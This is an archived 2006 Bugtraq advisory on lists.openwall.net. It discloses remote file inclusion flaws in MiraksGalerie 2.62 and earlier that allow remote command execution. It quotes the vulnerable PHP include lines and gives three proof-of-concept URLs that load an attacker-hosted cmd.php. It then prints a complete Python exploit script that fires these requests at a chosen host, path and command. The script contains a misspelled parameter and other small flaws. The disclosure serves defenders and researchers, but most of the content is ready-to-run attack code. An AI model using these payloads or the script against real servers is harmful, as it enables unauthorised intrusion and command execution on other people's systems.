bugtraq - MiraksGalerie <= 2.62 Multiple Remote command execution

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <448745FE.80506@autistici.org>
Date: Wed, 07 Jun 2006 23:32:46 +0200
From: Federico Fazzi <federico@...istici.org>
To: bugtraq@...urityfocus.com
Subject: MiraksGalerie <= 2.62 Multiple Remote command execution


*/ Federico Fazzi, <federico@...istici.org>
*/ MiraksGalerie <= 2.62 Multiple Remote command execution
*/ 07/06/2006 4:58

Bug:

pcltar.lib.php: line 34 - 35

---
if (!isset($g_pcltar_lib_dir))
  $g_pcltar_lib_dir = "lib";
  [etc..]
---

galimage.lib.php: line: 157 - 158

---
for($i=count($listconfigfile)-1; $i>=0; $i--)
  include($listconfigfile[$i]);
---


galsecurity.lib.php: line: 90 - 93

---
for($i=count($listconfigfile)-1; $i>=0; $i--)
{
        include_once($listconfigfile[$i]);
}
---

Proof of concept:

http://example/[mg_path]/pcltar.lib.php?g_pcltar_lib_dir=http://example/cmd.php?exec=uname
http://example/[mg_path]/galimage.lib.php?listconfigfile[0]=http://example/cmd.php?exec=uname
http://example/[mg_path]/galsecurity.lib.php?listconfigfile[0]=http://example/cmd.php?exec=uname

you can use too the exploit f_mg-2.62.py

Example sploit:

#!/usr/bin/env python
#
# MiraksGalerie <= 2.62 Multiple Remote command execution
# python f_mg-2.62.py <remote_addr> <remote_port> <remote_path>
<remote_cmd> <command>
#
# Federico Fazzi <federico@...istici.org>
# more info see advisory.

# need register_global = On

import os, sys, socket

usage = "run: python %s [remote_addr> [remote_port] [remote_path]
[remote_cmd] <command>" % os.path.basename(sys.argv[0])

if len(sys.argv) < 6:
	print usage
	sys.exit()
else:
	host = sys.argv[1]
	port = int(sys.argv[2])
	path = sys.argv[3]
	cmd = sys.argv[4]
	command = sys.argv[5]

	print "MiraksGalerie <= 2.62 Remote command execution"
	print "Federico Fazzi <federico@...istici.org>\n"

	includers = ['pcltar.lib.php?g_pcltar_lib_dr=',
'galimage.lib.php?listconfigfile[0]=',
		     'galsecurity.lib.php?listconfigfile[0]=']

	for inc in includers:
		print ">> i try string %s" % inc
		sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		sock.connect((host, port))
		sock.send("GET %s%s%s?cmd=%s \r\n" % (path, inc, cmd, command))
	print "\n>> reading.. done\n"
	buf = sock.recv(2048)
	print buf